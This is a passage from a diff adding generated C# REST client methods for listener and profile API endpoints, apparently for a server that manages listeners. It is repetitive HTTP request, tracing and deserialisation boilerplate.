cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdProfileGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdProfileGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}/profile").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiProfilesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesPutWithHttpMessagesAsync(Profile profile = default(Profile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("profile", profile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(profile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(profile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesPostWithHttpMessagesAsync(Profile profile = default(Profile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("profile", profile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(profile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(profile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiProfilesByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiProfilesHttpGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesHttpGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/http").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesHttpPutWithHttpMessagesAsync(HttpProfile profile = default(HttpProfile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("profile", profile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesHttpPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/http").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(profile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(profile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesHttpPostWithHttpMessagesAsync(HttpProfile profile = default(HttpProfile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("profile", profile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesHttpPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/http").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(profile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(profile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); 